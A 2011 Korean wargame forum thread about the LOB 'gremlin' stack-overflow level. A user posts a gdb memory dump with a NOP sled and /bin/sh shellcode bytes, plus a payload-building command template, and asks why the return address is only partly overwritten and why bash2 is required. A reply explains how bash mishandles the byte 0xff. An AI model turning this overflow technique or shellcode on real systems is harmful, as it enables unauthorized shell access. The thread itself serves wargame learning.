레벨 해킹

 2839, 1/142 회원가입  로그인  
   incaro
   LOB 질문 드려요. (BASH2)

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3211 [복사]


_____[gdb stack]_____________________________________________________________________
....
0xbffffa08:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa18:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa28:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa38:     0x90909090      0x90909090      0xcd58316a      0x89c38980
(gdb)
0xbffffa48:     0x58466ac1      0x685080cd      0x68732f2f      0x69622f68
0xbffffa58:     0x50e3896e      0x99e18953      0x80cd0bb0      0x90909090
0xbffffa68:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa78:     0x90909090      0x4000f9a8      0x00000002      0xbffffac4
...
(gdb) i reg ebp
ebp            0xbffffa78       -1073743240
_______________________________________________________________________________________
질문 1) ./gremlin $(python -c 'print "[NOP]"*200 + "[SCHELLCODE]" + "[NOP]*24 + "[RET]"
와 같이 260 + [RET] 주소로 분명 덮었습니다.
F.T.Z에서 잘 덮혀졌던 RET주소가 왜 LOB에서 0X4000F9A8로 앞비트가 안덮혀 지는지 모르겠네요.
- 글을 찾아보고 "export LANG=C"도 해보았지만 소용이 없습니다.

질문 2) 자꾸 Segmentation fault 가 나길래 찾아보니 "bash2"를 쓰라더군요.
분명 bash2를 쓰면 됩니다. 근데 그 이유에 대하여 모르겠네요
위에서 처럼 똑같이 gdb에서 ret주소가 안덮혀 보이고.... 달라진점을 모르겠는데... F.T.Z에서 bash2를 안써도 잘됬던것이 왜.... "bash2"를 써야 깨지는지 이유를 알고싶습니다.


  Hit : 4393     Date : 2011/05/23 04:43



    
W.H. bash2를 쓰고 공격해보면 알겠지만 0xff 이후 값이 모두 제대로 들어가는 걸 볼 수 잇습니다.

반면 bash에서는 0xff 이후의 모든 값이 싸그리 무시가 되죠.

이걸로 봤을때 bash에서는 0xff를 0x00(NULL) 값으로 인식하는 것 같지만 정확한지는 모르겟습니다.

하여간 bash2는 0xff 값을 제대로 인식하며 그 뒤의 값을 무시하지 않고 제대로 넣어주기 때문에 bash2를 사용하는 겁니다.

뭔차이 있는지 직접 보려면 dumpcode 이용해 보세요.
2011/05/23